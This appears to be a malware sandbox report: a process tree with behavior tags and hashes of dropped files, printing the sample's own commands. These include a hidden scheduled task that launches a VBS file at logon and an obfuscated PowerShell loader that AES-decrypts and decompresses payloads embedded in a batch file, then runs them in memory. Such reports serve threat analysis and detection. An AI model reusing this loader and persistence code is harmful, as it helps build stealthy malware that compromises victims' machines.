- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_17_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4020
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4476 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IMuNM+NoeoilVnbVcgHZqIY5pZsDXTl8ky9l6Hk27Wg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Th2eHiyH2cvkjKqYgrdjbQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CErIK=New-Object System.IO.MemoryStream(,$param_var); $vsVXh=New-Object System.IO.MemoryStream; $zmJWY=New-Object System.IO.Compression.GZipStream($CErIK, [IO.Compression.CompressionMode]::Decompress); $zmJWY.CopyTo($vsVXh); $zmJWY.Dispose(); $CErIK.Dispose(); $vsVXh.Dispose(); $vsVXh.ToArray();}function execute_function($param_var,$param2_var){ $bfDBn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rueAb=$bfDBn.EntryPoint; $rueAb.Invoke($null, $param2_var);}$TXIIM = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.bat';$host.UI.RawUI.WindowTitle = $TXIIM;$ggaPo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TXIIM).Split([Environment]::NewLine);foreach ($fPcBx in $ggaPo) { if ($fPcBx.StartsWith('ZhMGFACGbzxXRPyaLEAa')) { $VQAoZ=$fPcBx.Substring(20); break; }}$payloads_var=[string[]]$VQAoZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:3336
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:2212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
PID:1424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
PID:2428
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
2KB
MD5632990c5d027935a593358bf5b74e0fa
SHA1930b0a02bc84d5693a6d2e3b6c655e698f745cde
SHA2567e22488d3f636d80f2865968b34516bd3b196b059c50d51f9132a2fbdcc77971
SHA5120d1d84d7369f3786a0622a2296cd8515d61079d8963af9a118877781821c548e1e1812d021321aeba6065308d8fc7a91366ee8f2e0ac53baf3a5e0697ab91535
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
371KB
MD5a525af6701d8e4a594e2994ea870a897
SHA12306ae5f37d70cc766548310e4f861cb5429b789
SHA256642c23c2a4fdc8ef798b8cd15f01afdc8267f2e86653d189e42e4ffe46768460
SHA51292b04239a02e7fa2c2a3c8aba75b0efd22e8f5fef0b3f50582614b790ff28c9b012e110545d251de1c6d079ee072a73d37df1d719d7dc4628b147c8e12e8c4b8
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Filesize
123B
MD5a015fb8a9d027d9747c29afb2dcbae84
SHA18ab88e0fb8ef32862ccb44a245d52dde5737e7cd
SHA256803fb61baf4691c6a5cfe6ee1071080bca99656ffb21a34f273b2dddd0102a54
SHA512581d9c237753c6fc5722db518957b0dffdd97a1149341658e72365c674f547b0289b82bed7e9dcaa773ba266a6cf47d7ce4456063a2c5ff67896b23e6337a436
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4